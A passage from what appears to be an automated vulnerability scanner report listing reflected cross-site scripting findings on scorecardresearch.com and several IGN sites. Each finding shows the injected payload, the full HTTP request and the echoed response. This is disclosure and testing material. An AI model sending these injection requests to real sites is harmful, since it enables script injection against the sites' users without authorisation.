Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:27 GMT
Date: Mon, 07 Feb 2011 00:56:27 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
or(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"3", c2:"6035537", c3:"4732978", c4:"40554329", c5:"56586626ae4e2<script>alert(1)</script>f3f65b08d45", c6:"", c10:"", c15:"", c16:"", r:""});

3.61. http://b.scorecardresearch.com/beacon.js [c6 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 518e0<script>alert(1)</script>654ad6dd3fa was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=3&c2=6035537&c3=4732978&c4=40554329&c5=56586626&c6=518e0<script>alert(1)</script>654ad6dd3fa HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=10000001&pos=leaderboard&rnd=167275655
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Mon, 14 Feb 2011 00:56:27 GMT
Date: Mon, 07 Feb 2011 00:56:27 GMT
Connection: close
Content-Length: 3603

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"3", c2:"6035537", c3:"4732978", c4:"40554329", c5:"56586626", c6:"518e0<script>alert(1)</script>654ad6dd3fa", c10:"", c15:"", c16:"", r:""});

3.62. http://bluray.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21b33"><script>alert(1)</script>a678f7db862 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?21b33"><script>alert(1)</script>a678f7db862=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1808292441-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041103254v-1n-12mc+1297041103254mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143858

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Blu-ray Movies
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://bluray.ign.com/?21b33"><script>alert(1)</script>a678f7db862=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.63. http://bluray.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 495f9"-alert(1)-"4ec9ce9d1ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?495f9"-alert(1)-"4ec9ce9d1ca=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:45 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1542844299-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:45 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041105410v-1n-12mc+1297041105410mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143624

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Blu-ray Movies
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://bluray.ign.com/?495f9"-alert(1)-"4ec9ce9d1ca=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.64. http://bluray.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14dc3"-alert(1)-"2d159836ba5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/release.html?14dc3"-alert(1)-"2d159836ba5=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-708344065-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041097167v-1n-12mc+1297041097167mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=392i6mtw1xkxs;Path=/indx
Set-Cookie: JSESSIONID=sa1lw7gadr04;Path=/indx
Content-Length: 140527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Blu-ray Movies
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://bluray.ign.com/index/release.html?14dc3"-alert(1)-"2d159836ba5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.65. http://bluray.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b279d"><script>alert(1)</script>bce7cd5b7fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/release.html?b279d"><script>alert(1)</script>bce7cd5b7fe=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-580806984-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041087804v-1n-12mc+1297041087804mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1n5f961d6asqp;Path=/indx
Set-Cookie: JSESSIONID=5ssan89s25ovo;Path=/indx
Content-Length: 140589

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Blu-ray Movies
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://bluray.ign.com/index/release.html?b279d"><script>alert(1)</script>bce7cd5b7fe=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.66. http://bluray.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e16e1"-alert(1)-"bdf7753c49f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?e16e1"-alert(1)-"bdf7753c49f=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-811178274-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041091153v-1n-12mc+1297041091153mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Blu-ray Movies
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://bluray.ign.com/index/reviews.html?e16e1"-alert(1)-"bdf7753c49f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.67. http://bluray.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bluray.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ff20"><script>alert(1)</script>c3a11347216 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?4ff20"><script>alert(1)</script>c3a11347216=1 HTTP/1.1
Host: bluray.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:11:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:11:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-1640144759-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:11:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041084196v-1n-12mc+1297041084196mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 114915

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Blu-ray Movies
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://bluray.ign.com/index/reviews.html?4ff20"><script>alert(1)</script>c3a11347216=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.68. http://boards.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a633f"style%3d"x%3aexpression(alert(1))"c7f6defbe5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a633f"style="x:expression(alert(1))"c7f6defbe5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /?a633f"style%3d"x%3aexpression(alert(1))"c7f6defbe5b=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:37 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:37 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=-1; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 146861

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

IGN Board
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/?a633f"style="x:expression(alert(1))"c7f6defbe5b=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.69. http://boards.ign.com/comics_boards/c5025 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/comics_boards/c5025

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 144d2"style%3d"x%3aexpression(alert(1))"dc6fedb49ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 144d2"style="x:expression(alert(1))"dc6fedb49ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /comics_boards/c5025?144d2"style%3d"x%3aexpression(alert(1))"dc6fedb49ed=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:45 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:45 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5025; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 70922

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Comics Boards -
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/comics_boards/c5025?144d2"style="x:expression(alert(1))"dc6fedb49ed=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.70. http://boards.ign.com/game_help_community_board/b5143/p1 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/game_help_community_board/b5143/p1

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a579"style%3d"x%3aexpression(alert(1))"dd2c3a9596f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6a579"style="x:expression(alert(1))"dd2c3a9596f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /game_help_community_board/b5143/p1?6a579"style%3d"x%3aexpression(alert(1))"dd2c3a9596f=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:47 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False&brd5143=665860307; expires=Tue, 07-Feb-2012 01:11:47 GMT; path=/; HttpOnly
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False&brd5143=665860307; expires=Tue, 07-Feb-2012 01:11:47 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5033; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 108756

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Game Help Commu
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/game_help_community_board/b5143/p1?6a579"style="x:expression(alert(1))"dd2c3a9596f=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.71. http://boards.ign.com/general_game_help_board/b5030/p1 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/general_game_help_board/b5030/p1

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7fb1e"style%3d"x%3aexpression(alert(1))"4e68eab179b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7fb1e"style="x:expression(alert(1))"4e68eab179b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /general_game_help_board/b5030/p1?7fb1e"style%3d"x%3aexpression(alert(1))"4e68eab179b=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False&brd5030=665860304; expires=Tue, 07-Feb-2012 01:11:44 GMT; path=/; HttpOnly
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False&brd5030=665860304; expires=Tue, 07-Feb-2012 01:11:44 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5033; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:44 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 90419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

General Game He
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/general_game_help_board/b5030/p1?7fb1e"style="x:expression(alert(1))"4e68eab179b=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.72. http://boards.ign.com/movies/c5017 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/movies/c5017

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d75b7"style%3d"x%3aexpression(alert(1))"f3c2560ab6a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d75b7"style="x:expression(alert(1))"f3c2560ab6a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /movies/c5017?d75b7"style%3d"x%3aexpression(alert(1))"f3c2560ab6a=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:43 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:43 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5017; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 68578

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Movies - IGN Bo
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/movies/c5017?d75b7"style="x:expression(alert(1))"f3c2560ab6a=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.73. http://boards.ign.com/nintendo_wii_ds_boards/c5062 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/nintendo_wii_ds_boards/c5062

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eab04"style%3d"x%3aexpression(alert(1))"24a467ebcbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as eab04"style="x:expression(alert(1))"24a467ebcbc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /nintendo_wii_ds_boards/c5062?eab04"style%3d"x%3aexpression(alert(1))"24a467ebcbc=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:37 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5062; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 77313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Nintendo Wii &a
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/nintendo_wii_ds_boards/c5062?eab04"style="x:expression(alert(1))"24a467ebcbc=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.74. http://boards.ign.com/pc_games_and_more/c5060 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/pc_games_and_more/c5060

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 771e2"style%3d"x%3aexpression(alert(1))"7f50f9fa2d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 771e2"style="x:expression(alert(1))"7f50f9fa2d2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

